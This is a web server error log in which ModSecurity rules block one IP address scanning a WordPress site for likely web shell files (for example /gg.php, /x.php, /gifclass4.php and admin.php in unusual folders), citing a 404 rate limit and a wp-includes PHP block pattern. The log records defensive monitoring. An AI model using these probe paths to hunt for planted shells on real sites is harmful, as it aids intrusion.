[Mon Mar 02 04:27:05.353342 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:37568] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaShGf-JFLfishX45N_ZSwAAAQk"]
[Mon Mar 02 04:27:05.850119 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:37752] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaShGYqJmC8ih_lQQnC6twAAAMs"]
[Mon Mar 02 04:27:06.372682 2026] [:error] [pid 28795:tid 28884] [client 20.104.124.39:37630] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaShGrROd53wZBkdI_fqSAAAAJU"]
[Mon Mar 02 04:27:06.999335 2026] [:error] [pid 31257:tid 31263] [client 20.104.124.39:37742] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaShGv-JFLfishX45N_ZWAAAAQA"]
[Mon Mar 02 04:27:07.486875 2026] [:error] [pid 31257:tid 31269] [client 20.104.124.39:37692] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaShG_-JFLfishX45N_ZWwAAAQY"]
[Mon Mar 02 04:27:08.024128 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37633] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaShHIqJmC8ih_lQQnC6ugAAANQ"]
[Mon Mar 02 04:27:08.647722 2026] [:error] [pid 31257:tid 31281] [client 20.104.124.39:37724] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaShHP-JFLfishX45N_ZZAAAARI"]
[Mon Mar 02 04:27:09.270432 2026] [:error] [pid 31257:tid 31270] [client 20.104.124.39:37607] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaShHf-JFLfishX45N_ZaQAAAQc"]
[Mon Mar 02 04:27:09.889348 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:37817] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaShHYqJmC8ih_lQQnC6vgAAAM8"]
[Mon Mar 02 04:27:10.438058 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:37759] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaShHv-JFLfishX45N_ZbwAAARQ"]
[Mon Mar 02 04:27:11.115921 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:37712] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaShH4qJmC8ih_lQQnC6xwAAANc"]
[Mon Mar 02 04:27:12.737005 2026] [:error] [pid 28794:tid 28838] [client 20.104.124.39:37655] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaShIKVy2qpaelbUob3qSQAAAEI"]
[Mon Mar 02 04:27:13.366893 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37686] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaShIYqJmC8ih_lQQnC63AAAANQ"]
[Mon Mar 02 04:27:13.940968 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:37695] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaShIf-JFLfishX45N_ZewAAARc"]
[Mon Mar 02 04:27:14.495279 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:37606] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaShIv-JFLfishX45N_ZfQAAAQk"]
[Mon Mar 02 04:27:15.065521 2026] [:error] [pid 28793:tid 28826] [client 20.104.124.39:37608] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaShIw2_fxBANaHo1f7vHgAAABM"]
[Mon Mar 02 04:27:15.655984 2026] [:error] [pid 31257:tid 31276] [client 20.104.124.39:37574] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaShI_-JFLfishX45N_ZiQAAAQ0"]
[Mon Mar 02 04:27:16.205556 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:37805] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaShJP-JFLfishX45N_ZjAAAARc"]
[Mon Mar 02 04:27:22.786295 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:37727] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaShKoqJmC8ih_lQQnC7EQAAAMM"]
[Mon Mar 02 04:27:23.400721 2026] [:error] [pid 28795:tid 28873] [client 20.104.124.39:37646] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaShK7ROd53wZBkdI_fqcAAAAIo"]
[Mon Mar 02 04:27:28.099926 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37652] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaShMIqJmC8ih_lQQnC7MQAAANQ"]
[Mon Mar 02 04:27:28.811767 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:37672] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaShMP-JFLfishX45N_ZzAAAARc"]
[Mon Mar 02 04:27:29.855166 2026] [:error] [pid 31257:tid 31281] [client 20.104.124.39:37683] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaShMf-JFLfishX45N_Z1AAAARI"]
[Mon Mar 02 04:27:31.078750 2026] [:error] [pid 31257:tid 31272] [client 20.104.124.39:37570] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaShM_-JFLfishX45N_Z4AAAAQk"]
[Mon Mar 02 04:27:31.626904 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:37571] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaShM4qJmC8ih_lQQnC7PAAAAM0"]
[Mon Mar 02 04:27:32.207950 2026] [:error] [pid 28793:tid 28818] [client 20.104.124.39:37751] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaShNA2_fxBANaHo1f7vMwAAAAs"]
[Mon Mar 02 04:27:32.968768 2026] [:error] [pid 28908:tid 28911] [client 20.104.124.39:37743] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaShNIqJmC8ih_lQQnC7QwAAAME"]
[Mon Mar 02 04:27:33.550853 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:37664] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaShNYqJmC8ih_lQQnC7TAAAANY"]
[Mon Mar 02 04:27:34.176630 2026] [:error] [pid 28794:tid 28857] [client 20.104.124.39:37684] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaShNqVy2qpaelbUob3qbgAAAFU"]
[Mon Mar 02 04:27:35.172159 2026] [:error] [pid 28794:tid 28847] [client 20.104.124.39:37562] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaShN6Vy2qpaelbUob3qcQAAAEs"]
[Mon Mar 02 04:27:35.719864 2026] [:error] [pid 28794:tid 28843] [client 20.104.124.39:37605] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaShN6Vy2qpaelbUob3qdQAAAEc"]
[Mon Mar 02 04:27:36.205436 2026] [:error] [pid 28908:tid 28928] [client 20.104.124.39:37509] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/04.php"] [unique_id "aaShOIqJmC8ih_lQQnC7VwAAANI"]
[Mon Mar 02 04:27:37.109588 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:37757] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaShOYqJmC8ih_lQQnC7XAAAANM"]
[Mon Mar 02 04:27:37.641206 2026] [:error] [pid 28795:tid 28887] [client 20.104.124.39:37625] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaShObROd53wZBkdI_fquAAAAJg"]
[Mon Mar 02 04:27:38.158983 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:37586] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaShOoqJmC8ih_lQQnC7ZQAAAMY"]
[Mon Mar 02 04:27:38.702135 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:37507] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/333.php"] [unique_id "aaShOoqJmC8ih_lQQnC7bAAAAMU"]
[Mon Mar 02 04:27:39.586982 2026] [:error] [pid 28795:tid 28870] [client 20.104.124.39:37520] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaShO7ROd53wZBkdI_fqvQAAAIc"]
[Mon Mar 02 04:27:40.370304 2026] [:error] [pid 28793:tid 28810] [client 20.104.124.39:37613] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaShPA2_fxBANaHo1f7vNwAAAAM"]
[Mon Mar 02 04:27:41.112466 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:37606] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaShPYqJmC8ih_lQQnC7fgAAAMY"]
[Mon Mar 02 04:27:42.034335 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:37687] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/520.php"] [unique_id "aaShPoqJmC8ih_lQQnC7hwAAAM4"]
[Mon Mar 02 04:27:43.119906 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:37589] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaShP_-JFLfishX45N_Z_wAAAQE"]
[Mon Mar 02 04:27:44.641619 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:37596] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaShQIqJmC8ih_lQQnC7lgAAANM"]
[Mon Mar 02 04:27:45.487891 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37601] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaShQYqJmC8ih_lQQnC7ngAAANQ"]
[Mon Mar 02 04:27:46.079195 2026] [:error] [pid 28793:tid 28822] [client 20.104.124.39:37609] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ar.php"] [unique_id "aaShQg2_fxBANaHo1f7vOwAAAA8"]
[Mon Mar 02 04:27:46.853035 2026] [:error] [pid 31257:tid 31284] [client 20.104.124.39:37681] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaShQv-JFLfishX45N_aBwAAARU"]
[Mon Mar 02 04:27:47.707873 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37563] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaShQ_-JFLfishX45N_aCgAAAQQ"]
[Mon Mar 02 04:27:48.332302 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:37602] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaShRIqJmC8ih_lQQnC7qAAAANQ"]
[Mon Mar 02 04:27:49.011286 2026] [:error] [pid 31257:tid 31270] [client 20.104.124.39:37763] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aaShRf-JFLfishX45N_aDAAAAQc"]
[Mon Mar 02 04:27:49.849610 2026] [:error] [pid 28795:tid 28868] [client 20.104.124.39:37677] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaShRbROd53wZBkdI_fq0AAAAIU"]
[Mon Mar 02 04:27:50.529636 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:37530] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaShRv-JFLfishX45N_aGQAAAQQ"]
[Mon Mar 02 04:27:52.526696 2026] [:error] [pid 31257:tid 31282] [client 20.104.124.39:37532] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaShSP-JFLfishX45N_aIgAAARM"]
[Mon Mar 02 04:27:53.159485 2026] [:error] [pid 31257:tid 31279] [client 20.104.124.39:37545] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xx.php"] [unique_id "aaShSf-JFLfishX45N_aJAAAARA"]
[Mon Mar 02 04:27:53.681774 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:37592] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaShSYqJmC8ih_lQQnC7vAAAAMM"]
[Mon Mar 02 04:27:55.152826 2026] [:error] [pid 28795:tid 28868] [client 20.104.124.39:37584] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaShS7ROd53wZBkdI_fq3wAAAIU"]
[Mon Mar 02 04:27:55.772044 2026] [:error] [pid 28795:tid 28866] [client 20.104.124.39:37665] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaShS7ROd53wZBkdI_fq4gAAAIM"]
[Mon Mar 02 04:27:56.637126 2026] [:error] [pid 28795:tid 28875] [client 20.104.124.39:37536] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aaShTLROd53wZBkdI_fq6gAAAIw"]
